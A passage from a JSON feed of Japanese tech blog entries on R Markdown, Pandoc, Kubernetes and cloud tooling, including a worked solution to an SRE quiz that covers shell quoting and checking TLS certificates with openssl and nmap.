を参照してください。","link":"https://blog.atusy.net/2020/06/14/minidown-with-result-folding/","isoDate":"2020-06-14T00:00:00.000Z","dateMiliSeconds":1592092800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Mac VSCode JavaでHelloWorldした","contentSnippet":"はじめにタイトル通り、ただHelloWorldするだけです。よくある標準出力するだけの課題とかをささっとすますにはいいかもしれません。今からこの環境でWebアプリとか作っちゃうんだ!って人には…","link":"https://qiita.com/tayakun/items/a38386288c50233c6a90","isoDate":"2020-06-10T14:57:49.000Z","dateMiliSeconds":1591801069000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Osaka.Rで昼間のリモートもくもく会を開催しました (2020/6/6)","contentSnippet":"Osaka.Rで昼間のリモートもくもく会を開催しました。これは毎平日の朝に行っているリモートもくもく会のグレードアップ版的な位置付けです。休日開催することで、朝もくより長く時間をとり、進捗を出しつつさらに参加者同士で進捗を可視化しようという試みです。","link":"https://blog.atusy.net/2020/06/08/osakar-mokumoku-20200606/","isoDate":"2020-06-08T00:00:00.000Z","dateMiliSeconds":1591574400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Chaos Mesh によるカオスエンジニアリング","link":"https://medium.com/@yteraoka/chaos-mesh-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%AB%E3%82%AA%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0-46fa2897c742?source=rss-8b55af126a13------2","isoDate":"2020-06-02T03:16:16.000Z","dateMiliSeconds":1591067776000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"knitr::opts_hooksを設定するとチャンクキャッシュが更新されうる","contentSnippet":"R Markdownのチャンクのキャッシュは、チャンクオプションかコメント以外のコードに変更が加わった場合に更新されます。またR Markdownの背後で動いているknitrパッケージにはフックという概念があり、例えば特定のチャンクオプションがNULL以外の値の場合に発火する関数を仕込むことができます。この場合、関数はチャンクオプションを引数で受け取り、新しいチャンクオプションを返します。","link":"https://blog.atusy.net/2020/06/02/chunk-hooks-may-invalidates-cache/","isoDate":"2020-06-02T00:00:00.000Z","dateMiliSeconds":1591056000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandoc Lua Filtersのreturnの挙動と複数のフィルタを書くときの用例","contentSnippet":"PandocのLua Filterでは、Lua Type Referenceに載っている型と同じ名前の関数を作成すると、その型の要素を見つけて順々に関数を適用してくれる。たとえば、Pandoc関数を作成すると、ドキュメント全体のASTを受けとって処理を実行できる。以下は、Luaフィルタを実行していると教えてくれる例。","link":"https://blog.atusy.net/2020/05/31/lua-filter-returns/","isoDate":"2020-05-31T00:00:00.000Z","dateMiliSeconds":1590883200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tokyo.R 85で「R Markdownのオリジナルフォーマットを作ろう」の話をしてきました","contentSnippet":"毎週月曜日はブログ更新の日!と決めつつ、土曜に発表頑張ったからいいよなあと言う気分に。なので発表しましたとの記録だけ残しておきます。スライドはこちら成果minidownパッケージを不況できた1オリジナルフォーマット作りに興味を持つ人が出てくれた2想定ターゲットとマッチする参加者がいた3肥大化したYAMLフロントマターをなんとかしたい依存ファイルの関係を整理したいLua Filterの有効性を実感頂けた4課題Pandocの処理のお話はまだあまり詳しくR界隈で知られていないように思う。今回のテーマと関連するところでは以下あたり。","link":"https://blog.atusy.net/2020/05/25/tokyor85/","isoDate":"2020-05-25T00:00:00.000Z","dateMiliSeconds":1590364800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub ActionsからGAEにdeployする際のsecretの扱い","contentSnippet":"概要この記事の内容としては以下の通りGAEのapp.yamlが環境変数を読み取らないので、値をなんとか渡す方法。GitHubActionsで認証ファイルを扱う方法。ユースケースとして、GAE…","link":"https://qiita.com/SatohJohn/items/2341168ccb93c5e144ab","isoDate":"2020-05-13T08:20:51.000Z","dateMiliSeconds":1589358051000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"オリジナルなR Markdownの出力形式を作る`output_format`関数事始め","contentSnippet":"rmarkdown::output_format関数は、新規に、あるいは既存の出力形式を上書きしてオリジナルなR Markdownのの出力形式を作成するための関数です。rmarkdown::render関数を実行する際に、レンダリングに必要な情報をリストで渡します。リストの内容は、自身のbase_format引数を除く引数の名前です。詳しくはドキュメントを参照して頂くか、その内解説する日を待って頂きたいところ。","link":"https://blog.atusy.net/2020/05/11/rmd-output-fromat-function/","isoDate":"2020-05-11T00:00:00.000Z","dateMiliSeconds":1589155200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"朝もくを1ヶ月して得た教訓とか #OsakaR","contentSnippet":"1 目標を宣言しよう1.1 朝もくの間に達成できる粒度の目標を作ろう1.2 色々やろう2 進捗は報告しよう3 互いを褒めよう4 別のコミュニティも利用しよう5 アウトプットしよう6 Enjoy!!Osaka.Rの活動としてリモート朝もくを始め1ヶ月ほどが経過しました。良い機会なので、その過程で得た教訓とかをまとめておきたいと思います。必ずしも毎回守れているわけではありませんが、大事にしていきたいので宣言もかねてblog化しました。","link":"https://blog.atusy.net/2020/05/10/my-way-of-asamoku/","isoDate":"2020-05-10T00:00:00.000Z","dateMiliSeconds":1589068800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"html_document(self_contained = FALSE) で出力した時の携帯性をあげるextra_dependencies引数","contentSnippet":"rmarkdown::html_document関数には、self_contained引数がFALSEな時でも依存しているJavaScriptやCSSをポータブルにするために、extra_dependencies引数が用意されています。本記事ではこの引数の使い方について紹介します。","link":"https://blog.atusy.net/2020/05/03/rmd-extra-dependencies/","isoDate":"2020-05-03T00:00:00.000Z","dateMiliSeconds":1588464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocにself containedさせたくないデータには`data-external=\\"1\\"`を属性付与しよう","contentSnippet":"self containedなドキュメントでも数式を使うR Markdownの場合Enjoy先日の記事ではR MarkdownでKaTeXをCDNから読み込む際に、Pandocが出力にKaTeXを埋め込まないようにするハックを紹介しました。","link":"https://blog.atusy.net/2020/04/27/pandoc-data-external/","isoDate":"2020-04-27T00:00:00.000Z","dateMiliSeconds":1587945600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownでKaTeXを使う","contentSnippet":"はじめにアイディア実装プレースホルダの作成KaTeXスクリプトの用意フォーマット関数の用意ベースフォーマットの用意ベースフォーマットを改変する関数の用意レンダリング実用化に向けてEnjoy!はじめに今、Rmdから出力できるHTML5でJavaScript控え目で軽量で高速なHTML文書フォーマットとして、minidown::mini_documentを開発しています。割と実用段階に入ったと思うので、以下のサンプルページを見て見てください。https://minidown-example.atusy.net/","link":"https://blog.atusy.net/2020/04/23/katex-in-html-doc/","isoDate":"2020-04-23T00:00:00.000Z","dateMiliSeconds":1587600000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Osaka.Rを立ち上げて、リモート朝モクやってます","contentSnippet":"Osaka.R始めました外出自粛の中でできること = リモート朝もく朝もくの感想個人的なOsaka.Rを立ち上げの背景Osaka.R始めました転職して大阪に引越したのを機にOsaka.Rを始めることにしました。奇しくもOsaka.Rを始めたいと同時期に思っていたくろきちさん、わさびさんと共に立ち上げることにしました。","link":"https://blog.atusy.net/2020/04/21/osakar-asamoku/","isoDate":"2020-04-21T00:00:00.000Z","dateMiliSeconds":1587427200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"3月末日で退職してました","contentSnippet":"株式会社モバイルファクトリーを3/31で退職してました。2010年6月入社なので9年10ヶ月になりますね。今は新しい会社のSREチームで働いています。前半数年間はケータイ向けのサイト(いわゆる着メロサイト)やソーシャルアプリの開発運用をしていました。後半数年間は社内全体の開発基盤・運用基盤の整備をしていました。いわゆるインフラよりのお仕事ですね。入社当時Webアプリケーション開発をまったく分かってなかったところからなんとか人並みに運用開発できる力をこの会社で身につけることが出来たと思います。今なんとかwebエンジニアをやれてるのはこの会社のおかげと言っても過言では無いと思っています。入社当時SQLをまともに書けなかったくらいのレベルだったのでよく採用されたなと。。。お仕事的には回りのレベルも高いし、自身の仕事のやり方も裁量を与えられていたし、社内環境も、待遇も悪くなかった。むしろ良かったくらいでした。ただ、長年勤めていく内に悪い意味での慣れが出てきて、自分自身停滞感を感じることが出てきました。ここ数年が特に感じることが多く、停滞感から来る焦りを日々感じていました。どうにか停滞感を解消するために副業として他社のお仕事を請け負ったりしていましたが、どうにも解消ができずにいました。そんな折に現職のSREチームの話をいただきました。実際に面談、面接を受けて、課題や環境の話を聞くにつれて、ここでなら一歩進めるのではないかという感触を得ました。もちろん焦燥感、停滞感はあれど、居心地が良いと感じてた今までの環境を変えることにはかなりの葛藤がありました。いろんな決め手はあったのですが、新しい場所の方が一番の下手*1でいれそう、なにより事業的にも業務的にも仲間的にもワクワクできそうというあたりが決定打になりました。入社して2週間しかも、初日以外ずっと在宅勤務なのでまだ様子が摑めてないですが、早くキャッチアップしてバリバリ成果を出していきたい所存です。これからもよろしくお願いします。例のもの置いておきます。気が向いたらでよいです。https://www.amazon.jp/hz/wishlist/ls/3S4C1LCDWKCTM?ref_=wl_share*1:情熱プログラマ参照","link":"https://blog.masasuzu.net/entry/2020/04/12/134300","isoDate":"2020-04-12T04:43:00.000Z","dateMiliSeconds":1586666580000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"IAPに対応しているGAEにアクセスする","contentSnippet":"概要GCPにあるGAEに対してアクセスする場合、認証のためにIAPをつけることが多いハズその際にrequest clientに対して認証情報を付ける方法についてまとめるサービスアカウントを作るサービスアカウントは以下の通りに作成でき…","link":"https://qiita.com/SatohJohn/items/d21d8487f55ed911e687","isoDate":"2020-03-29T12:12:15.000Z","dateMiliSeconds":1585483935000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Vuetify.jsのリンクの違いについて","contentSnippet":"概要vuetifyのbuttonやlist-itemなどに対してnuxt linkをつける際にリンクの付け方は2つあるhreftoどう使い分けるかというと、 https://qiita.co…","link":"https://qiita.com/SatohJohn/items/881d9a6fceceda1c1ce7","isoDate":"2020-03-22T11:06:18.000Z","dateMiliSeconds":1584875178000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Pandoc lua filter手習い: detailクラス付きのコードブロックを折り畳む","contentSnippet":"実装関数を書くコードブロックをそのまま返すコードブロックをタグで囲むdetailsクラスを持つコードブロックだけ
タグで囲う。detailsクラスを持つコードブロックだけ
タグで囲い、summary要素が指定されていれば、タグに記述するR Markdownで使ってみるRmdファイルデモ: 折り畳み時デモ: 展開時R Markdownのhtml_documentでソースコードだけじゃなくて結果も折り畳みたいようとの声があった。レッスン時にコードの実行結果を受講者に予想させてから見せたい場合を想定しているようだ。そこでknitr::knit_hooksを使う忍術を紹介した。https://github.com/rstudio/rmarkdown/issues/1453#issuecomment-595797200","link":"https://blog.atusy.net/2020/03/07/pandoc-lua-detailed-codeblock/","isoDate":"2020-03-07T00:00:00.000Z","dateMiliSeconds":1583539200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"revealjs_presentationでコードブロックに行番号を付与する","contentSnippet":"code.sourceCode > span { display: inline-block; line-height: 1.25; }code.sourceCode > span { color: inherit; text-decoration: inherit; }code.sourceCode > span:empty { height: 1.2em; }.sourceCode { overflow: visible; }code.sourceCode { white-space: pre; position: relative; }div.sourceCode { margin: 1em 0; }pre.sourceCode { margin: 0; }@media screen {div.sourceCode { overflow: auto; }}@media print {code.sourceCode { white-space: pre-wrap; }code.sourceCode > span { text-indent: -5em; padding-left: 5em; }}pre.numberSource code { counter-reset: source-line 0; }pre.numberSource code > span { position: relative; left: -4em; counter-increment: source-line; }pre.numberSource code > span > a:first-child::before { content: counter(source-line); position: relative; left: -1em; text-align: right; vertical-align: baseline; border: none; display: inline-block; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; padding: 0 4px; width: 4em; color: #aaaaaa; }pre.numberSource { margin-left: 3em; border-left: 1px solid #aaaaaa; padding-left: 4px; }div.sourceCode { }@media screen {code.sourceCode > span > a:first-child::before { text-decoration: underline; }}code span.al { color: #ff0000; font-weight: bold; } /* Alert */code span.an { color: #60a0b0; font-weight: bold; font-style: italic; } /* Annotation */code span.at { color: #7d9029; } /* Attribute */code span.bn { color: #40a070; } /* BaseN */code span.bu { } /* BuiltIn */code span.cf { color: #007020; font-weight: bold; } /* ControlFlow */code span.ch { color: #4070a0; } /* Char */code span.cn { color: #880000; } /* Constant */code span.co { color: #60a0b0; font-style: italic; } /* Comment */code span.cv { color: #60a0b0; font-weight: bold; font-style: italic; } /* CommentVar */code span.do { color: #ba2121; font-style: italic; } /* Documentation */code span.dt { color: #902000; } /* DataType */code span.dv { color: #40a070; } /* DecVal */code span.er { color: #ff0000; font-weight: bold; } /* Error */code span.ex { } /* Extension */code span.fl { color: #40a070; } /* Float */code span.fu { color: #06287e; } /* Function */code span.im { } /* Import */code span.in { color: #60a0b0; font-weight: bold; font-style: italic; } /* Information */code span.kw { color: #007020; font-weight: bold; } /* Keyword */code span.op { color: #666666; } /* Operator */code span.ot { color: #007020; } /* Other */code span.pp { color: #bc7a00; } /* Preprocessor */code span.sc { color: #4070a0; } /* SpecialChar */code span.ss { color: #bb6688; } /* SpecialString */code span.st { color: #4070a0; } /* String */code span.va { color: #19177c; } /* Variable */code span.vs { color: #4070a0; } /* VerbatimString */code span.wa { color: #60a0b0; font-weight: bold; font-style: italic; } /* Warning */R Markdownでは、コードブロックにnumberLinesクラスを与えると、Pandocが行番号を付与してくれます。例えば以下のコードブロックをblogdownでレンダリングすると、ちゃんと行番号が付与されます1。","link":"https://blog.atusy.net/2020/03/02/revealjs-linenumbers/","isoDate":"2020-03-02T00:00:00.000Z","dateMiliSeconds":1583107200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ノートブックの最適化はfor文の最適化に通ず","contentSnippet":"ループせずに済む処理はforの外に出せループ前要旨パッケージ読み込み関数定義データ読み込み・整形ループ内小規模なデータ整形分析・可視化解釈ループ後データ分析は大きく読み込み・整形分析可視化解釈の4つの要素で成り立つと思う。できればこの順に1サイクルして終わりたいが、現実的には何サイクルも回す。そしてメンテナンス不能で読む気も失せる巨大ノートブックができあがることは、想像に難くない。","link":"https://blog.atusy.net/2020/02/27/simple-notebook/","isoDate":"2020-02-27T00:00:00.000Z","dateMiliSeconds":1582761600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Merpay SRE Quiz @SRE Next 2020 解答・解説","contentSnippet":"これは何?2020年1月25日に行われた SRE NEXT 2020 で,メルペイさんがブースで出していた SRE に関するクイズです。正答数で景品がもらえたようです。3問以上:メルペイキーキャップ4問以上:メルペイキーキャップ+メルペイ SRE が推薦する本今日は SRE NEXT に来ています!ブース出してます!メルペイSREが考えたクイズに挑戦してみてください!#srenext pic.twitter.com/sQmndWucrP— Mercari_Dev (@mercaridevjp) January 25, 2020 メルペイ SRE が推薦する本って?ツイートのスレッドをたどっていくと,ラインナップは以下のようでした。『入門 監視』『詳解 シェルスクリプト』『Kubernetes 完全ガイド』『Programming Kubernetes』『パケットキャプチャの教科書』『プロダクションレディ マイクロサービス』『Linux カーネル Hacks』『エンジニアリング組織論への招待』『エンジニアのためのマネジメントキャリアパス』名著ばかりですね。第1問 SLO とはなんの略でしょうか?選択肢Service Level Observability (サービスレベル可観測性)Service Level Objective (サービスレベル目標)System Level Observability (システムレベル可観測性)System Level Objective (システムレベル目標)正解Service Level Objective (サービスレベル目標)解説SRE 本の Chapter 4 - Service Level Objectives に書かれている定義は以下のとおりです。An SLO is a service level objective: a target value or range of values for a service level that is measured by an SLI.SLI(サービスレベル指標)の目標値または値の範囲を SLO(サービスレベル目標)といいます。第2問 ユーザーが所属しているユーザーグループを知るためのコマンドはどれか?選択肢idwhoamiwholsgroup正解id解説明示されていないですが,UNIX 系 OS のコマンドを前提としていますね。id:ユーザー情報を表示するコマンドで,ユーザー情報(ID,名前)とグループ情報(ID,名前)が表示されます。実行例:foobar@darkstar:~$ iduid=1016(foobar) gid=100(users) groups=100(users)whoami:実行ユーザーの ID を表示するコマンドです。id -un と等価です。who:実行ユーザーの情報(名前,プロセス,起動時刻など)を表示するコマンドです。lsgroup:グループの属性を表示する AIX(IBM の UNIX 系 OS)のコマンドです。デフォルトパラメータがないので,グループを指定するか ALL を指定する必要があります。これらのうち,ユーザーの所属グループが表示されるのは id コマンドです。第3問 $ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\" の出力結果はどれか?選択肢33 2 1error1正解3 2 1解説bash -c string:string が bash で実行されます。echo message:message と改行を出力します。パイプ |:コマンドの出力を次のコマンドの標準入力に渡します。ここでは,3 2 1\\\\n を awk コマンドの標準入力に渡します。awk \'パターン {アクション}\':AWK のコマンドで,入力に対してパターンにマッチしたものにアクションを適用します。パターンを省略(空パターン)すると,全パターンにマッチする扱いになります。$ bash -c \\"... $1 ...\\":\\"\\" で囲まれた$ は展開されます。1 という変数名は定義されていないので,$1 が展開されると空文字になります。AWK に伝わるスクリプトは \'{print }\' になり,全パターンに対してそのまま出力する挙動になります。したがって,$ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\"3 2 1となります。ちなみに,1番目のフィールドを表示させたい場合は,$ が展開されないように \\\\$ とエスケープします。$ bash -c \\"echo 3 2 1 | awk \'{print \\\\$1}\'\\"3bash -c \\"...\\" を噛まさなければ,シングルクォート \'\' で囲まれた $ が展開されず,意図通りの挙動になります。$ echo 3 2 1 | awk \'{print $1}\'3エスケープ・展開絡みの落とし穴を題材にした問題ですね。調べてみたら複数事例見つかり,ハマりポイントのようです。stackoverflow.comteratail.com第4問 DNS が使用するポート番号は何番ですか?選択肢225380443正解53解説すべて well-known ポート番号です。22:SSH53:DNS80:HTTP443:HTTPS第5問 Kubernetes の Deployment の Event を見られるコマンドは,以下のうちどれか?選択肢kubectl describe kubectl logs -l kubectl get deployment -o yamlkubectl logs 正解kubectl describe 解説kubectl describe:リソースの詳細な情報を出力します。Events: セクションにイベント情報が表示されます。kubectl get events コマンドで全リソースのイベントを表示することができます。kubectl logs:コンテナのログを出力します。--selector (-l) オプションで結果にフィルタをかけることができます。kubectl get:リソースの基本的な情報を取得します。kubectl get deployment -o yaml とすると,Deployment の定義を YAML 形式で出力します。kubectl describe コマンドの引数で Deployment の名称を指定すると,その Deployment に関連したイベントを取得できるので,kubectl describe が正解です。第6問 Web サイトに設定している TLS 証明書の有効期限を確認できるコマンドは以下のうちどれか?選択肢openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep Aftercurl --tlsv1.2 -l https://www.merpay.com | grep Expirewget --no-check-certificate https://www.merpay.com | grep Certnmap --script ssl-enum-ciphers -p 443 www.merpay.com | grep Date正解openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep After解説openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text:OpenSSL の SSL/TLS クライアントで指定されたホストに接続して証明書を取得し,x509 サブコマンドで証明書情報を取り出します。Not After : で始まる行に有効期限が書かれるので,grep で取り出せます。-text オプションの代わりに -dates オプションを指定すると,証明書の開始日と失効日だけが出力されます。curl --tlsv1.2 -l https://www.merpay.com:Response Body(ここでは HTML)が出力されます。TLS 証明書の情報は含まれません。wget --no-check-certificate https://www.merpay.com:指定した URL の内容を証明書の検証をせずにダウンロードしてファイル(ここでは index.html)に保存します。標準出力にはリクエストの実行ログが吐かれますが,TLS 証明書の情報は含まれません。nmap --script ssl-enum-ciphers -p 443 www.merpay.com:Nmap を用い,指定されたホストに対して SSL/TLS の暗号・圧縮方式を複数試行した結果を出力します。証明書の有効期限の情報は含まれません。実行例:PORT STATE SERVICE REASON443/tcp open https syn-ack| ssl-enum-ciphers:| TLSv1.0:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity| Weak certificate signature: SHA1| TLSv1.2:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity|_ least strength: CcURL,Nmap で実現する例は以下のとおりです。curl --tlsv1.2 -v https://www.merpay.com 2>&1 | grep expirenmap --script ssl-cert -p 443 www.merpay.com | grep afterserverfault.com感想骨のある問題が多いです。1,4を確実に正解して,その他をどれだけ正解できるかといった感じでしょうか。知らなければ調べればいい話ですが,業務でよく使うコマンドなら覚えておいて手足のように使いこなせるほうが望ましいでしょう。","link":"https://toshikish.hateblo.jp/entry/2020/02/11/024400","isoDate":"2020-02-10T17:44:00.000Z","dateMiliSeconds":1581356640000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2019年のふりかえり、2020年の目標","contentSnippet":"すでに年が明けて1ヶ月経ちましたが、2019年の活動を振り返ろうと思います。Kubernetes、Cloud Native技術を中心に学習を進めました。勉強会、カンファレンス1月Cloud Native Meetup Tokyo #6 KubeCon + CNCon RecapKubernetes Meetup Tokyo #15 - KubeCon 2018 RecapRancher/Kubernetes勉強会 Kubernetes管理ツールの活用法OWASP Connect in Tokyo #2今回は特別編!Cloud Nativeなアプリ開発から学んだことを全部シェア - cndjp#92月Yahoo! JAPAN MEETUP #31 インフラ技術カンファレンスGo 1.12 Release Party in Tokyo w/ Fukuoka&Umedassmjp 2019/02Docker Meetup Tokyo #28第三回ボトムアップドメイン駆動設計サイバーセキュリティシンポジウム3月k8s source code reading #3Cloud Native Meetup Tokyo #7 @Abema Towers4月Cloud Native Tokyo #01Serverlessについて思いを馳せる一夜 - cndjp第11回勉強会ssmjp 2019/04Rancher k3s もくもく勉強会 #035月レガシーをぶっつぶせ。現場でDDD!ssmjp 2019/05IIJ Technical NIGHT vol.7SRE Lounge #9Docker Meetup Tokyo #30 (DockerCon・KubeConEU報告会)Yahoo! JAPAN MEETUP #32 インフラ技術/Kubernetes6月NoOps Meetup Tokyo #6Kubernetes Meetup Tokyo #20 - KubeCon RecapGCPUG Tokyo Next Extended 2019 Infra DayInteract 20197月恐るることなかれ! Cloud NativeリレーショナルDB特集!! - cndjp第12回第三十五回 Azureもくもく会 @ 品川CloudNative Days Tokyo Meetup w/ Melanie CebulaKubernetes Meetup Tokyo #21 - Cloud Native CI/CDSekkeiKaigiCloud Native Days Tokyo 2019 → スタッフとして参加8月SRE Lounge #10CloudNative Days Tokyo 2019振り返りNightGo 1.13 Release Party in TokyoKubernetes Meetup Tokyo #229月Docker Meetup Tokyo #32Japan Azure User Group 9周年イベントXP祭り2019golang.tokyo #26Cloud Native Meetup Tokyo #10Kubernetes Meetup Tokyo #23 - Operator Deep Dive10月Terraform meetup tokyo#2Kubernetes Meetup Tokyo #24SRE Lounge #1111月さくらの夕べDocker/Kubernetesナイト #2Go Release 10 Year Anniversary Party in Tokyoゴリラ.vim #10 非公式VimConf後夜祭 girls.vimと合同開催技術書典8 はじめてのサークル参加meetupMicrosoft Open Tech Night #1 - インフラ編+Ignite速報俺たちの最適なCloud Nativeを求めて…。本気のこと始め! - cndjp第13回12月Japan Rook Meetup #1Cloud Native Meetup Tokyo #11 KubeCon RecapGDG DevFest Tokyo 2019Microsoft Open Tech Night #3 - クラウドネイティブ編登壇資料speakerdeck.comspeakerdeck.comspeakerdeck.com書籍商業誌Kubernetes完全ガイドしくみがわかるKubernetesみんなのDocker/KubernetesKubernetes実践入門情報処理安全確保支援士 教科書みんなのGo言語インフラエンジニアの教科書Linuxのしくみ分散システムデザインパターン入門監視Linux教科書 LPICレベル1Docker実践ガイドKubernetes実践ガイド同人誌ふりかえり読本 場作り編ふりかえり読本 学び編ふりかえり読本 実践編理論と事例でわかる自己肯定感理論と事例でわかるモチベーション現場の「ズレ」を解消するコミュニケーションメソッド 第2版会話の引き出しを増やす 1on1カード と 使いこなしブックPrometheusでKubernetesを監視する本Kubernetes-Native Development & Deployment実践入門 Kubernetes カスタムコントローラへの道Knativeの歩き方資格情報処理安全確保支援士LPIC 101、102ツール・技術DockerKubernetesHelmPrometheusGrafanaLokiArgo CDConcourseTerraformTelepresencecert-managerWindowsコンテナMicrosoft AzureGo言語Vue.js社内での活動定期勉強会を主催ふりかえりを実施、ファシリテーター役Dockerワークショップを開催2020年の目標2020年もCloud Nativeを突き進む予定です。マストCKA、CKADを取得するコミュニティに貢献するOSSにコントリビュートするGo言語でのプログラミングに慣れる英語力を高めるできれば業務としてKubernetesを扱える環境に身を置く(遠回しな表現)技術書を書く","link":"https://kyohmizu.hatenablog.com/entry/2020/02/01/040351","isoDate":"2020-01-31T19:03:51.000Z","dateMiliSeconds":1580497431000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"docker (rocker) でheadless Chromeを動かす","contentSnippet":"RでWebページのスクリーンショットを撮るにはheadless Chromeが今風?従来、RでWebページのスクリーンショットを撮るにはwebshotパッケージが活躍してきました。しかし、webshotパッケージの内部で動くPhantomJSは開発が停止して久しいです。そんな中、webshotパッケージの開発者であるwchは、headless Chromeを使ってスクリーンショットを撮影するwebshot2パッケージをRStudio製OSSとして開発開始しました。","link":"https://blog.atusy.net/2020/01/14/chromote-on-rocker/","isoDate":"2020-01-14T00:00:00.000Z","dateMiliSeconds":1578960000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テストで使いたくて,DinD (Docker in Docker) でk8sの環境を整えた","contentSnippet":"TL;DRこちらのDockerfileを見納めくださいkindとアプリケーションのコンテナを分けても良かったのですが,kubeconfigの受け渡しが面倒だったので妥協しましたhttps://…","link":"https://qiita.com/tozastation/items/eafde1a75c35bb9d1a68","isoDate":"2019-12-30T14:30:36.000Z","dateMiliSeconds":1577716236000,"authorName":"tozastation","authorId":"tozastation"},{"title":"0からはじめる Windows on Kubernetes","contentSnippet":"はじめにKubernetes の Windows 対応は v.1.14 でGAとなりました。本記事では、既存の Kubernetes クラスタに0から Windows ワーカーノードを追加する方…","link":"https://qiita.com/kyohmizu/items/dffdd49123b1e47c3ac4","isoDate":"2019-12-22T18:19:52.000Z","dateMiliSeconds":1577038792000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"importasパッケージでPython風にパッケージを使おう","contentSnippet":"Rアドベントカレンダー、12/21の記事です。Rmd関連のつもりでしたが、時間がないので、最近作ったimportasパッケージのネタに走ることにしました。importasパッケージでは、Pythonにおけるimport numpy as npみたいなことが、Rでできるようになります。Pythonではimportしたライブラリにドットを繋ぐ形で、関数の呼び出しを行います(例えばnp.mean)。同様に、importasパッケージではggplot2 %as% ggなどとパッケージ名を省略し、$演算子を用いて関数を呼び出します(例えばgg$ggplot)。","link":"https://blog.atusy.net/2019/12/21/importas/","isoDate":"2019-12-21T00:00:00.000Z","dateMiliSeconds":1576886400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Knative Serving in Production","contentSnippet":"概要Knative Serving は、ステートレスなアプリケーションを対象に、HTTP リクエスト駆動で自動スケールする仕組みを提供します。Kubernetes (K8s) と Ingress 